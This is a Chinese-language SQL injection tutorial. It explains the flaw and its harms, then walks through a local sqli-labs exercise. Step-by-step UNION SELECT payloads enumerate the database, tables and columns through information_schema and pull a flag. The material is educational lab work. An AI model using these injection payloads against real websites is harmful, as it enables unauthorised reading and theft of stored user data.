SQL显错注入
sql注入原理:
sql注入漏洞是web层面最高危的漏洞之一,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
综上所述:sql注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。
SQL注入攻击的主要危害包括:
非法读取、篡改、添加、删除数据库中的数据;
数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,攻击者盗取用户的各类敏感信息,获取利益。
网页篡改:通过修改数据库来修改网页上的内容。
数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改,攻击者私自添加或删除账号
网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;
服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
破坏硬盘数据,瘫痪全系统。
靶场
首先判断注入点
?id=1’进行判断 测试报错
可以看到报错
用 and 1 = 1去测试:
发现回显正常
–+是注释
用 and 1 = 2 去测试:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ and 1 = 2
回显示失败,说明存在注入点。
用order by 判断字段
Order by 4的时候报错
说明有3个字段
构造语句
?id=-1’ union select 1,2,3 --+
发现回显字段为2,3
爆数据库名
构造语句
?id=-1’ union select 1,2, database()
爆出数据库名为security
爆表名
使用过滤查询语句where 查看security数据库内的表
构造语句
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = ‘security’
看到有五个表
爆出表名 目测zkaq表内有我们想要的东西
爆列
构造语句
?id=-1’ union select 1, group_concat(column_name),3 from information_schema.columns where table_name = ‘zkaq’–+
看到我们想要的东西了!!!
查看我们的FLAG
构造语句
?id=-1’ union select 1,zkaq,flag from zkaq–+
得到Flag.